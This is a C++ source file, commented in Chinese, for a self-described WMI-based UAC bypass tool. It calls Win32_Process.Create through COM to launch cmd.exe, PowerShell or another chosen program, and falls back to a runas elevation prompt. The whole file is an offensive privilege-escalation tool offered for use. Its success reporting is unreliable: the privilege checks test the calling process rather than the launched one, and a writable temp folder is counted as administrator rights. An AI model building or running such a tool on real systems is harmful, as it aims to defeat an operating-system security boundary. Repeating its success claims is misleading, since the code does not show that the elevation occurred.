// g++ -o wmi_bypass.exe wmi_bypass.cpp -lole32 -loleaut32 -lwbemuuid -ladvapi32
#include <iostream>
#include <windows.h>
#include <string>
#include <vector>
#include <wbemidl.h>
#include <comdef.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <aclapi.h>
#include <sddl.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")

// WMI命名空间和类定义
const wchar_t* WMI_NAMESPACE = L"ROOT\\CIMV2";
const wchar_t* WMI_CLASS_WIN32_PROCESS = L"Win32_Process";

// 初始化COM库
bool InitializeCOM() {
    HRESULT hr = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hr)) {
        std::wcout << L"[Error] COM initialization failed: 0x" << std::hex << hr << std::endl;
        return false;
    }
    
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_NONE,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        EOAC_NONE,
        NULL
    );
    
    if (FAILED(hr) && hr != RPC_E_TOO_LATE) {
        std::wcout << L"[Warning] Security initialization failed: 0x" << std::hex << hr << std::endl;
    }
    
    return true;
}

// 清理COM库
void UninitializeCOM() {
    CoUninitialize();
}

// 连接到WMI服务
IWbemServices* ConnectToWMI(const wchar_t* namespacePath) {
    IWbemLocator* pLoc = NULL;
    IWbemServices* pSvc = NULL;
    
    HRESULT hr = CoCreateInstance(
        CLSID_WbemLocator,
        0,
        CLSCTX_INPROC_SERVER,
        IID_IWbemLocator,
        (LPVOID*)&pLoc
    );
    
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to create WMI locator: 0x" << std::hex << hr << std::endl;
        return NULL;
    }
    
    hr = pLoc->ConnectServer(
        _bstr_t(namespacePath),
        NULL,
        NULL,
        0,
        0,  // 将NULL改为0，因为这是LONG类型的参数
        0,
        0,
        &pSvc
    );
    
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to connect to WMI service: 0x" << std::hex << hr << std::endl;
        pLoc->Release();
        return NULL;
    }
    
    hr = CoSetProxyBlanket(
        pSvc,
        RPC_C_AUTHN_WINNT,
        RPC_C_AUTHZ_NONE,
        NULL,
        RPC_C_AUTHN_LEVEL_CALL,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        EOAC_NONE
    );
    
    if (FAILED(hr)) {
        std::wcout << L"[Warning] Failed to set proxy security: 0x" << std::hex << hr << std::endl;
    }
    
    pLoc->Release();
    return pSvc;
}

// 通过WMI创建进程
bool CreateProcessViaWMI(const std::wstring& processPath, const std::wstring& arguments) {
    IWbemServices* pSvc = ConnectToWMI(WMI_NAMESPACE);
    if (!pSvc) {
        return false;
    }
    
    IWbemClassObject* pClass = NULL;
    HRESULT hr = pSvc->GetObject(_bstr_t(WMI_CLASS_WIN32_PROCESS), 0, NULL, &pClass, NULL);
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to get WMI class: 0x" << std::hex << hr << std::endl;
        pSvc->Release();
        return false;
    }
    
    IWbemClassObject* pInParamsDefinition = NULL;
    hr = pClass->GetMethod(L"Create", 0, &pInParamsDefinition, NULL);
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to get method definition: 0x" << std::hex << hr << std::endl;
        pClass->Release();
        pSvc->Release();
        return false;
    }
    
    IWbemClassObject* pInParams = NULL;
    hr = pInParamsDefinition->SpawnInstance(0, &pInParams);
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to create parameter instance: 0x" << std::hex << hr << std::endl;
        pInParamsDefinition->Release();
        pClass->Release();
        pSvc->Release();
        return false;
    }
    
    // 设置命令行参数
    std::wstring commandLine = processPath;
    if (!arguments.empty()) {
        commandLine += L" " + arguments;
    }
    
    VARIANT varCommand;
    VariantInit(&varCommand);
    varCommand.vt = VT_BSTR;
    varCommand.bstrVal = _bstr_t(commandLine.c_str()).copy();
    
    hr = pInParams->Put(L"CommandLine", 0, &varCommand, 0);
    VariantClear(&varCommand);
    
    if (FAILED(hr)) {
        std::wcout << L"[Error] Failed to set command line parameter: 0x" << std::hex << hr << std::endl;
        pInParams->Release();
        pInParamsDefinition->Release();
        pClass->Release();
        pSvc->Release();
        return false;
    }
    
    // 执行方法
    IWbemClassObject* pOutParams = NULL;
    hr = pSvc->ExecMethod(
        _bstr_t(WMI_CLASS_WIN32_PROCESS),
        _bstr_t(L"Create"),
        0,
        NULL,
        pInParams,
        &pOutParams,
        NULL
    );
    
    bool success = false;
    if (SUCCEEDED(hr)) {
        VARIANT varReturnValue;
        VariantInit(&varReturnValue);
        
        hr = pOutParams->Get(L"ReturnValue", 0, &varReturnValue, NULL, NULL);
        if (SUCCEEDED(hr) && varReturnValue.vt == VT_I4) {
            if (varReturnValue.lVal == 0) {
                std::wcout << L"[Success] WMI process creation successful" << std::endl;
                success = true;
            } else {
                std::wcout << L"[Error] WMI process creation failed, return code: " << varReturnValue.lVal << std::endl;
            }
        }
        
        VariantClear(&varReturnValue);
        if (pOutParams) pOutParams->Release();
    } else {
        std::wcout << L"[Error] Failed to execute WMI method: 0x" << std::hex << hr << std::endl;
    }
    
    // 清理资源
    pInParams->Release();
    pInParamsDefinition->Release();
    pClass->Release();
    pSvc->Release();
    
    return success;
}

// 检查当前进程是否具有管理员权限
BOOL IsElevated() {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        
        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
            fRet = Elevation.TokenIsElevated;
        }
    }
    
    if (hToken) {
        CloseHandle(hToken);
    }
    
    return fRet;
}

// 检查进程是否在管理员完整性级别运行
bool IsRunningWithHighIntegrity() {
    HANDLE hToken;
    DWORD dwLengthNeeded;
    PTOKEN_MANDATORY_LABEL pTIL = NULL;
    DWORD dwIntegrityLevel;
    bool result = false;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        if (GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded)) {
            pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, dwLengthNeeded);
            if (pTIL != NULL) {
                if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) {
                    dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, 
                        (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid)-1));
                    
                    // 高完整性级别 (0x00003000)
                    if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
                        result = true;
                    }
                }
                LocalFree(pTIL);
            }
        }
        CloseHandle(hToken);
    }
    
    return result;
}

// 尝试执行需要管理员权限的操作来验证权限
bool TestAdminPrivileges() {
    // 尝试打开需要管理员权限的注册表键
    HKEY hKey;
    LONG lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 
        0, KEY_ALL_ACCESS, &hKey);
    
    if (lResult == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return true;
    }
    
    // 尝试创建系统目录下的文件（需要管理员权限）
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    
    std::wstring testFile = std::wstring(tempPath) + L"wmi_test_" + std::to_wstring(GetCurrentProcessId()) + L".tmp";
    
    HANDLE hFile = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, NULL, 
        CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
    
    if (hFile != INVALID_HANDLE_VALUE) {
        CloseHandle(hFile);
        DeleteFileW(testFile.c_str());
        return true;
    }
    
    return false;
}

// 检查UAC是否启用
bool IsUACEnabled() {
    HKEY hKey;
    DWORD dwUACEnabled = 1;
    DWORD dwSize = sizeof(DWORD);
    
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 
        0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        
        RegQueryValueExW(hKey, L"EnableLUA", NULL, NULL, 
            (LPBYTE)&dwUACEnabled, &dwSize);
        RegCloseKey(hKey);
    }
    
    return (dwUACEnabled != 0);
}

// 详细的权限验证报告
void PrintPrivilegeReport() {
    std::wcout << L"\n=== WMI Bypass Privilege Verification Report ===" << std::endl;
    
    // 检查管理员权限
    BOOL isElevated = IsElevated();
    std::wcout << L"Administrator Privilege Detection: " << (isElevated ? L"[Yes]" : L"[No]") << std::endl;
    
    // 检查完整性级别
    bool isHighIntegrity = IsRunningWithHighIntegrity();
    std::wcout << L"High Integrity Level: " << (isHighIntegrity ? L"[Yes]" : L"[No]") << std::endl;
    
    // 测试实际权限
    bool hasAdminPrivileges = TestAdminPrivileges();
    std::wcout << L"Actual Administrator Privileges: " << (hasAdminPrivileges ? L"[Yes]" : L"[No]") << std::endl;
    
    // 检查UAC状态
    bool uacEnabled = IsUACEnabled();
    std::wcout << L"UAC Status: " << (uacEnabled ? L"[Enabled]" : L"[Disabled]") << std::endl;
    
    // 综合判断
    if (isElevated && isHighIntegrity && hasAdminPrivileges) {
        std::wcout << L"\n[Success] WMI Bypass Verification: Complete success!" << std::endl;
        std::wcout << L"Current process has full administrator privileges" << std::endl;
    } else if (isElevated || hasAdminPrivileges) {
        std::wcout << L"\n[Partial Success] WMI Bypass Verification: Partial success" << std::endl;
        std::wcout << L"Current process has partial administrator privileges" << std::endl;
    } else {
        std::wcout << L"\n[Failure] WMI Bypass Verification: Not successful" << std::endl;
        std::wcout << L"Current process has no administrator privileges" << std::endl;
    }
}

// 使用WMI进行UAC绕过
bool BypassUACWithWMI(const std::wstring& targetProgram) {
    std::wcout << L"\n[Info] Starting WMI UAC bypass attempt..." << std::endl;
    
    if (!InitializeCOM()) {
        std::wcout << L"[Error] COM initialization failed" << std::endl;
        return false;
    }
    
    std::wstring programPath = targetProgram;
    std::wstring arguments = L"";
    
    // 如果是cmd.exe，添加验证命令
    if (targetProgram.find(L"cmd.exe") != std::wstring::npos) {
        arguments = L"/k echo [WMI Bypass Successful] && whoami && echo Verifying privilege status... && echo.";
    }
    
    bool success = CreateProcessViaWMI(programPath, arguments);
    
    UninitializeCOM();
    
    if (success) {
        std::wcout << L"[Success] WMI UAC bypass executed successfully" << std::endl;
        
        // 等待进程启动
        Sleep(2000);
        
        // 在当前进程中显示详细的权限验证报告
        PrintPrivilegeReport();
        
        return true;
    }
    
    std::wcout << L"[Error] WMI UAC bypass failed" << std::endl;
    return false;
}

// 直接请求管理员权限（备用方法）
bool LaunchElevatedProgram(const std::wstring& programPath) {
    std::wstring commandLine = L"";
    
    // 如果是cmd.exe，添加提示信息
    if (programPath.find(L"cmd.exe") != std::wstring::npos) {
        commandLine = L"/k echo [直接请求管理员权限] && whoami && echo.";
    }
    
    HINSTANCE result = ShellExecuteW(
        NULL,
        L"runas",
        programPath.c_str(),
        commandLine.c_str(),
        NULL,
        SW_SHOWNORMAL
    );
    
    return reinterpret_cast<INT_PTR>(result) > 32;
}

// 显示使用帮助
void ShowUsage() {
    std::cout << "WMI绕过UAC工具使用方法:" << std::endl;
    std::cout << "  wmi_bypass.exe                    - 默认启动cmd.exe" << std::endl;
    std::cout << "  wmi_bypass.exe <程序路径>         - 启动指定的程序" << std::endl;
    std::cout << "  wmi_bypass.exe cmd.exe            - 启动cmd.exe（默认）" << std::endl;
    std::cout << "  wmi_bypass.exe powershell.exe     - 启动PowerShell" << std::endl;
    std::cout << "  wmi_bypass.exe notepad.exe        - 启动记事本" << std::endl;
    std::cout << "  wmi_bypass.exe regedit.exe        - 启动注册表编辑器" << std::endl;
    std::cout << "  wmi_bypass.exe compmgmt.msc       - 启动计算机管理" << std::endl;
    std::cout << "  wmi_bypass.exe control.exe         - 启动控制面板" << std::endl;
    std::cout << "\n技术说明:" << std::endl;
    std::cout << "  本工具使用Windows管理规范(WMI)技术绕过UAC" << std::endl;
    std::cout << "  通过Win32_Process类的Create方法创建高权限进程" << std::endl;
    std::cout << "\n示例:" << std::endl;
    std::cout << "  wmi_bypass.exe powershell.exe     - 使用WMI绕过UAC启动PowerShell" << std::endl;
    std::cout << "  wmi_bypass.exe C:\\Program Files\\MyApp\\myapp.exe - 启动自定义程序" << std::endl;
}

// 主函数
int main(int argc, char* argv[]) {
    // 设置控制台编码为UTF-8
    system("chcp 65001 > nul");
    
    // 默认启动的程序
    std::wstring targetProgram = L"cmd.exe";
    
    // 解析命令行参数
    if (argc > 1) {
        // 首先检查帮助参数（使用ANSI字符串比较）
        std::string arg = argv[1];
        if (arg == "-h" || arg == "--help" || arg == "/?") {
            ShowUsage();
            std::cout << "Press any key to exit..." << std::endl;
            getchar();
            return 0;
        }
        
        // 如果不是帮助参数，则转换为宽字符串并设置目标程序
        int size_needed = MultiByteToWideChar(CP_ACP, 0, argv[1], -1, NULL, 0);
        std::wstring programArg(size_needed, 0);
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, &programArg[0], size_needed);
        
        targetProgram = programArg;
    }
    
    std::wcout << L"=== WMI-based UAC Bypass Tool ===" << std::endl;
    std::wcout << L"Target Program: " << targetProgram << std::endl;
    std::wcout << L"Checking system status..." << std::endl;
    
    // 检查当前权限
    if (IsElevated()) {
        std::wcout << L"\n[Info] Current process already has administrator privileges" << std::endl;
        std::wcout << L"Launching administrator program..." << std::endl;
        
        if (LaunchElevatedProgram(targetProgram)) {
            std::wcout << L"[Success] Administrator program launched" << std::endl;
        } else {
            std::wcout << L"[Error] Unable to launch administrator program" << std::endl;
        }
        
        return 0;
    }
    
    std::wcout << L"\n[Info] Current process has no administrator privileges" << std::endl;
    std::wcout << L"Starting WMI-based UAC bypass..." << std::endl;
    
    // 尝试WMI绕过
    std::wcout << L"\nAttempting WMI-based UAC bypass..." << std::endl;
    
    if (BypassUACWithWMI(targetProgram)) {
        std::wcout << L"[Success] WMI-based UAC bypass attempt sent" << std::endl;
        std::wcout << L"Waiting 5 seconds for the process to start..." << std::endl;
        
        // 给程序一些时间启动
        Sleep(5000);
        
        std::wcout << L"[Info] WMI bypass attempt completed" << std::endl;
    } else {
        std::wcout << L"[Error] WMI-based UAC bypass failed" << std::endl;
        std::wcout << L"Attempting to directly request administrator privileges..." << std::endl;
        
        if (LaunchElevatedProgram(targetProgram)) {
            std::wcout << L"[Success] Administrator privileges obtained through direct request" << std::endl;
        } else {
            std::wcout << L"[Error] All methods failed" << std::endl;
            return -1;
        }
    }
    
    std::wcout << L"\nProgram execution completed" << std::endl;
    std::wcout << L"Press any key to exit..." << std::endl;
    getchar();
    
    return 0;
}